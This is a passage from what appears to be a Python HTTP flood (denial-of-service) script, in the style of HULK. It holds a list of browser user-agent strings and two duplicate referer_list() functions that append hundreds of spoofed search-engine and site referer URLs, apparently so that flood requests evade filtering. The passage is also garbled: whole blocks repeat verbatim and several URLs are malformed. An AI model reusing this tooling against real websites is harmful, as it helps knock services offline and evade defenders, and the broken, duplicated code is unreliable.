Firefox/3.5.7')" "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')" " Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')" "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')" "Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')" "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')" "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')" "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')" ] # Headers_referers def referer_list(): global headers_referers headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=') headers_referers.append('https://drive.google.com/viewerng/viewer?url=') headers_referers.append('http://www.google.com/translate?u=') headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=') headers_referers.append('http://help.baidu.com/searchResult?keywords=') headers_referers.append('http://www.bing.com/search?q=') headers_referers.append('https://add.my.yahoo.com/rss?url=') headers_referers.append('https://play.google.com/store/search?q=') # referers 26 def referer_list(): global headers_referers headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..') headers_referers.append('http://vk.com/profile.php?redirect=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..') headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882') headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925') headers_referers.append('http://yandex.ru/yandsearch?text=') headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832') headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=') headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..') headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..') headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..') headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..') headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..') headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882') headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..') headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..') headers_referers.append('http://help.baidu.com/searchResult?keywords=') #bing headers_referers.append('http://www.bing.com/search?q=') headers_referers.append('https://www.yandex.com/yandsearch?text=') headers_referers.append('https://duckduckgo.com/?q=') headers_referers.append('http://www.ask.com/web?q=') headers_referers.append('http://search.aol.com/aol/search?q=') headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=') headers_referers.append('https://drive.google.com/viewerng/viewer?url=') headers_referers.append('http://validator.w3.org/feed/check.cgi?url=') headers_referers.append('http://host-tracker.com/check_page/?furl=') headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=') headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=') headers_referers.append('https://add.my.yahoo.com/rss?url=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..') headers_referers.append('http://vk.com/profile.php?redirect=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..') headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882') headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925') headers_referers.append('http://yandex.ru/yandsearch?text=') headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832') headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=') headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..') headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..') headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..') headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..') headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..') headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882') headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..') headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..') headers_referers.append('http://help.baidu.com/searchResult?keywords=') headers_referers.append('http://www.bing.com/search?q=') headers_referers.append('https://www.yandex.com/yandsearch?text=') headers_referers.append('https://duckduckgo.com/?q=') headers_referers.append('http://www.ask.com/web?q=') headers_referers.append('http://search.aol.com/aol/search?q=') headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=') headers_referers.append('http://www.bing.com/search?q=') headers_referers.append('https://www.yandex.com/yandsearch?text=') headers_referers.append('https://duckduckgo.com/?q=') headers_referers.append('http://www.ask.com/web?q=') headers_referers.append('http://search.aol.com/aol/search?q=') headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=') headers_referers.append('https://drive.google.com/viewerng/viewer?url=') headers_referers.append('http://validator.w3.org/feed/check.cgi?url=') headers_referers.append('http://host-tracker.com/check_page/?furl=') headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=') headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=') headers_referers.append('https://add.my.yahoo.com/rss?url=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://coccoc.com/search#query=') headers_referers.append('http://www.search.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.pagescoring.com/website-speed-test/?url=') headers_referers.append('http://www.bing.com/search?q=') headers_referers.append('https://www.yandex.com/yandsearch?text=') headers_referers.append('https://duckduckgo.com/?q=') headers_referers.append('http://www.ask.com/web?q=') headers_referers.append('http://search.aol.com/aol/search?q=') headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=') headers_referers.append('https://drive.google.com/viewerng/viewer?url=') headers_referers.append('http://validator.w3.org/feed/check.cgi?url=') headers_referers.append('http://host-tracker.com/check_page/?furl=') headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=') headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=') headers_referers.append('https://add.my.yahoo.com/rss?url=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('https://steamcommunity.com/market/search?q=') headers_referers.append('http://filehippo.com/search?q=') headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=') headers_referers.append('http://eu.battle.net/wow/en/search?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('http://careers.gatesfoundation.org/search?q=') headers_referers.append('http://techtv.mit.edu/search?q=') headers_referers.append('http://www.ustream.tv/search?q=') headers_referers.append('http://www.ted.com/search?q=') headers_referers.append('http://funnymama.com/search?q=') headers_referers.append('http://itch.io/search?q=') headers_referers.append('http://jobs.rbs.com/jobs/search?q=') headers_referers.append('http://taginfo.openstreetmap.org/search?q=') headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=') headers_referers.append('https://play.google.com/store/search?q=') headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=') headers_referers.append('http://www.reddit.com/search?q=') headers_referers.append('http://www.bestbuytheater.com/events/search?q=') headers_referers.append('https://careers.carolinashealthcare.org/search?q=') headers_referers.append('http://jobs.leidos.com/search?q=') 